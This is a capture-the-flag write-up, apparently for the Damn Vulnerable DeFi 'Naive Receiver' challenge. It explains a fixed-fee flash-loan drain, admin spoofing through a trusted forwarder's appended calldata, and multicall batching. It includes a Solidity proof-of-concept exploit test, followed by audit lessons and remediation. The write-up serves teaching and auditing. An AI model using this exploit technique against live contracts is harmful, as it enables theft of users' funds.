🤖 Naive Receiver - Fee Exploitation & Identity Spoofing
Challenge Overview
The setup involves several components:
- NaiveReceiverPool: A pool with 1000 WETH providing flash loans.
- FlashLoanReceiver: A contract with 10 WETH, designed to receive flash loans and pay fees.
- BasicForwarder: A trusted forwarder for EIP712 meta-transactions.
The Mission:
- Drain all 10 WETH from the
FlashLoanReceiver. - Drain all 1000 WETH from the pool.
- Transfer everything to the recovery address in 2 or fewer transactions.
Technical Analysis
Vulnerability 1: Fixed Flash Loan Fees
The pool charges a fixed fee regardless of the loan amount:
function flashFee(address token, uint256) external view returns (uint256) { if (token != address(weth)) revert UnsupportedCurrency(); return FIXED_FEE; // 1 WETH}Since anyone can trigger a flash loan for any receiver, an attacker can force the FlashLoanReceiver to take 10 loans of 0 ETH, each costing 1 WETH in fees, effectively draining its 10 WETH balance into the pool.
Vulnerability 2: Identity Spoofing via Trusted Forwarder
The pool uses a custom _msgSender() to support meta-transactions:
function _msgSender() internal view override returns (address) { if (msg.sender == trustedForwarder && msg.data.length >= 20) { return address(bytes20(msg.data[msg.data.length - 20:])); } else { return super._msgSender(); }}If a call comes from the trustedForwarder, the contract trusts the last 20 bytes of the calldata as the caller’s address. By crafting a specific calldata through the forwarder, an attacker can spoof the deployer’s address and call the admin-only withdraw function.
Vulnerability 3: Multicall Aggregation
The pool inherits Multicall, allowing multiple function calls to be batched into a single transaction. This is key to staying within the 2-transaction limit.
The Exploit: The Multi-Step Heist
- Batch the Attacks: Create a
multicallpayload that contains:- 10 calls to
flashLoantargeting the receiver (drains 10 WETH to the pool). - 1 call to
withdrawwith the spoofed admin address appended to the calldata (drains the pool’s 1010 WETH).
- 10 calls to
- Meta-Transaction: Wrap this
multicallin an EIP712 request for theBasicForwarder. - Signature & Execution: Sign the request and execute it via the forwarder.
Proof of Concept (PoC)
function test_naiveReceiver() public checkSolvedByPlayer { bytes[] memory calls = new bytes[](11);
// 1. Drain the receiver's 10 WETH via 10 fee-bearing loans for (uint256 i = 0; i < 10; i++) { calls[i] = abi.encodeCall(pool.flashLoan, (receiver, address(weth), 0, "")); }
// 2. Spoof admin and withdraw all 1010 WETH calls[10] = abi.encodePacked( abi.encodeCall(pool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery))), bytes32(uint256(uint160(deployer))) // Appended spoofed address );
// 3. Package into Multicall and send via Forwarder bytes memory multicallData = abi.encodeCall(pool.multicall, (calls));
// (Standard EIP712 signing and forwarder.execute logic follows...)}Auditor’s Lessons
- Fee Scaling: Fees should almost always be proportional to the loan amount or have a minimum loan requirement to prevent “drain-by-fee” attacks.
- Receiver Authorization: Consider requiring the receiver to “opt-in” or sign for a flash loan before it is executed on their behalf.
- Secure Context Identification: Be extremely careful with custom
_msgSender()implementations. Appending addresses to calldata is a powerful but dangerous pattern if not strictly validated. - Batching Risks: Multicall can amplify the impact of existing vulnerabilities by allowing them to be chained in ways the developer didn’t foresee.
Remediation
- Proportional Fees: Change
flashFeeto return a percentage of the requested amount. - Access Control on Flash Loans: Only allow the receiver itself or an authorized party to trigger a loan for a specific address.
- Hardcoded Permissions: Instead of relying on
_msgSender()for critical functions likewithdraw, use a hardcodedimmutableowner address set during deployment.